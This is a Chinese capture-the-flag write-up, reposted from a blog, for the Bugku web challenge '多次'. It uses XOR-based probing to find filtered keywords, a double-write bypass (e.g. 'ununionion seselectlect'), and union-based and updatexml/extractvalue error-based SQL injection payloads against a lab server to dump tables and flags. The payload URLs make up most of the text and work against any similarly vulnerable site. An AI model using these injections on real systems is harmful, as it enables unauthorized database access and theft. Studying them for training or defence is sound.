bugku web 多次

题目链接

打开题目,看到url后面有一个id=1,猜想是不是sql注入,于是在1后面加上单引号。

页面报错,说明存在注入点。

将url改成http://123.206.87.240:9004/1ndex.php?id=1' and 1=1%23,页面却报错了,说明这里可能有过滤。

这里就要说到异或注入,来判断被过滤的词。

异或注入

异或为一种逻辑运算,当两个条件相同(同真或同假)时为假,当两个条件不同时为真。

在mysql中异或用^或xor来表示。

当url为http://123.206.87.240:9004/1ndex.php?id=1'^(length('and')!=0)%23

  • 若and的长度为0(即为被过滤),则^(length('and')!=0)为假,表达式就为id=1^0=1,页面正常
  • 若and的长度为不为0(即为被过滤),则^(length('and')!=0)为真,表达式就为id=1^1=0,页面错误

页面正常,说明and被过滤,同理,我们可以检测出select,union,or被过滤,用双写来绕过过滤。

构造payload

http://123.206.87.240:9004/1ndex.php?id=1'oorrder by 1%23

  • 当数字为3时,页面错误,说明字段数为2

http://123.206.87.240:9004/1ndex.php?id=0' ununionion seselectlect 1,2 %23(id=0是为了让页面爆错)

  • 页面显示2,于是从2处注入。

爆数据库

http://123.206.87.240:9004/1ndex.php?id=0' ununionion seselectlect 1,database() %23

  • web1002-1

爆表名

http://123.206.87.240:9004/1ndex.php?id=0' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.TABLES where table_schema=database() %23

  • flag1,hint

我们来爆flag1

爆字段名

http://123.206.87.240:9004/1ndex.php?id=0' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.COLUMNS where table_name='flag1' %23

  • flag1,address

爆数据

http://123.206.87.240:9004/1ndex.php?id=0' ununionion seselectlect 1,group_concat(flag1) from flag1 %23

  • usOwycTju+FTUUzXosjr

http://123.206.87.240:9004/1ndex.php?id=0' ununionion seselectlect 1,group_concat(address) from flag1 %23

{AD57ACD8-9570-4760-9F65-E04B9367362B}.png

发现下一关的地址。


image

在加上单引号,爆错,却无法绕过过滤,采用extractvalue()或updatexml()来爆错。

关于extractvalue()和updatexml()的参考链接

爆库

http://123.206.87.240:9004/Once_More.php?id=1' and
updatexml(1,concat('~',database(),'~'),3) %23
  • web1002-2

爆表

http://123.206.87.240:9004/Once_More.php?id=1' and
updatexml(1,concat('~',(select group_concat(table_name) from information_schema.TABLES where
table_schema=database()),'~'),3) %23

  • class,flag2

爆字段

http://123.206.87.240:9004/Once_More.php?id=1' and
updatexml(1,concat('~',(select group_concat(column_name) from information_schema.COLUMNS where
table_name='flag2'),'~'),3) %23


  • flag2,address

爆数据

http://123.206.87.240:9004/Once_More.php?id=1' and
updatexml(1,concat('~',(select group_concat(flag2) from flag2),'~'),3) %23

http://123.206.87.240:9004/Once_More.php?id=1' and
extractvalue(1,concat('~',(select group_concat(flag2) from flag2),'~')) %23

得到flag,题目提示flag全为小写,所以把flag中的大写改成小写。

猜你喜欢

转载自www.cnblogs.com/truthilia-12580/p/12288529.html
今日推荐